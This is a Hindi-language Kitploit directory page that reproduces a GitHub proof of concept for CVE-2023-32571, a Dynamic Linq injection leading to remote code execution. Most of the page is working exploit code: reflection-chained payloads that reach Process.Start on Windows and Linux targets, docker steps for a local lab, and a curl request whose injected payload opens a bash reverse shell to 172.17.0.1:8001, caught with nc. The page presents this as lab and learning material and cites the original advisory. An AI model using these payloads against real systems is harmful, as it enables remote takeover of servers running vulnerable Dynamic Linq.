Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-32571-POC | Kitploit
उपकरण/GitHubGitHub/tris0n/cve-2023-32571-poc
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंटलैब और अभ्यास
GitHubtris0n/cve-2023-32571-poc

CVE-2023-32571-POC

रिपॉजिटरी देखें
72 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Dynamic Linq इंजेक्शन से RCE - CVE-2023-32571

Dynamic Linq इंजेक्शन से RCE के बारे में (CVE-2023-32571)

हाल ही में, NCC Group के सदस्यों ने Dynamic Linq में एक भेद्यता खोजी है जो हमलावरों को Linq इंजेक्शन के माध्यम से C# फ़ंक्शन कॉल करने की अनुमति देती है, जिससे RCE प्राप्त करना संभव हो जाता है।

Dynamic Linq पर RCE रिपोर्ट के बावजूद, NCC Group के सदस्यों ने किसी कारणवश कमांड निष्पादित करने के लिए POC उपलब्ध नहीं कराया।

POC

जैसा कि NCC Group के शोध में कहा गया है, हम "Invoke" के माध्यम से C# विधियों को कॉल कर सकते हैं। इससे, हम "System.Diagnostics.Process.Start" को कॉल कर सर्वर पर कमांड निष्पादित कर सकते हैं।

हम असेंबली के माध्यम से System.Diagnostics.Process को कॉल करने के लिए "CreateInstanceFromAndUnwrap" विधि का उपयोग कर सकते हैं।

System.AppDomain.CreateInstanceAndUnwrap विधि का उपयोग करने के लिए Payload:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

CreateInstanceAndUnwrap विधि के माध्यम से System.Diagnostics.Process को कॉल करने के लिए Payload:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

System.Diagnostics.Process क्लास की विधियों तक पहुँच करके, हम सिस्टम पर कमांड निष्पादित करने के लिए System.Diagnostics.Process.Start विधि का उपयोग कर सकते हैं:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

Obs: ध्यान दें कि payload पहले 3 Start विधियों की खोज करता है और आखिरी को ले लेता है। मैंने ऐसा इसलिए किया क्योंकि System.Diagnostics.Process में विधियों की सूची में कई Start विधियाँ थीं, और जिसकी हमें आवश्यकता है वह सूची में तीसरी है।

अंतिम Payload

Windows लक्ष्य

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Linux लक्ष्य
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

लैब शुरू करने के लिए, निर्देशों का पालन करें

docker और docker-compose स्थापित करें:

Debian

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

इस रिपॉज़िटरी को क्लोन करें:

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

रिपॉज़िटरी निर्देशिका में जाएँ:
root@kitploit:~
cd CVE-2023-32571-POC

docker-compose चलाएँ:
root@kitploit:~
sudo docker-compose up --build

एप्लिकेशन http://localhost:8000/ पर शुरू होती है।

लैब विवरण

POST विधि के माध्यम से "/api/products" रूट तक पहुँचने पर, हम देखते हैं कि यह उत्पादों की एक सूची लौटाता है:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

json में name पैरामीटर भेजकर, हम उत्पादों को फ़िल्टर कर सकते हैं:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

कुछ परीक्षणों के बाद, हम देखते हैं कि हम इसे Dynamic Linq क्वेरी में इंजेक्ट करने में सक्षम थे। निम्नलिखित payload भेजकर, हम एक रिवर्स शेल प्राप्त करने में सक्षम थे:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

संदर्भ

  • https://research.nccgroup.com/2023/06/13/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/
  • https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/
  • https://github.com/advisories/GHSA-w65q-jcmv-28gj
टूल डाउनलोड करें